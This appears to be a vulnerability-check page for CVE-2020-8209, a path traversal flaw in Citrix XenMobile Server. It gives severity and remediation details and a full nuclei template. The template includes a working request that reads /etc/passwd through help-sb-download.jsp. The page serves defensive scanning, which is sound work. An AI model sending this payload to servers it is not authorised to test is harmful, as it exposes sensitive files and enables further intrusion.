Citrix XenMobile Server - Local File Inclusion

highseverity

7.5CVSS score

43.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6, and Citrix XenMobile Server before 10.9 RP5 are susceptible to local file inclusion vulnerabilities. reference: - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/ - https://support.citrix.com/article/CTX277457 - https://nvd.nist.gov/vuln/detail/CVE-2020-8209

Impact

An attacker can access sensitive information stored on the server, potentially leading to further compromise or unauthorized access.

Fix

Apply the latest security patches or updates provided by Citrix to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
Positive when: contains in header "fileDownload=true" and "application/octet-stream" and "attachment;" AND matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2020-8209 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-8209

info:
  name: Citrix XenMobile Server - Local File Inclusion
  author: dwisiswant0
  severity: high
  description: |
    Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6, and Citrix XenMobile Server before 10.9 RP5 are susceptible to local file inclusion vulnerabilities.
    reference:
    - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
    - https://support.citrix.com/article/CTX277457
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
  impact: |
    An attacker can access sensitive information stored on the server, potentially leading to further compromise or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by Citrix to fix the vulnerability.
  reference:
    - https://support.citrix.com/article/CTX277457
    - https://github.com/Miraitowa70/POC-Notes
    - https://github.com/dudek-marcin/Poc-Exp
    - https://github.com/hectorgie/PoC-in-GitHub
    - https://github.com/pen4uin/vulnerability-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-8209
    cwe-id: CWE-22
    epss-score: 0.43933
    epss-percentile: 0.9876
    cpe: cpe:2.3:a:citrix:xenmobile_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: citrix
    product: xenmobile_server
  tags: cve2020,cve,citrix,lfi,xenmobile,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "fileDownload=true"
          - "application/octet-stream"
          - "attachment;"
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from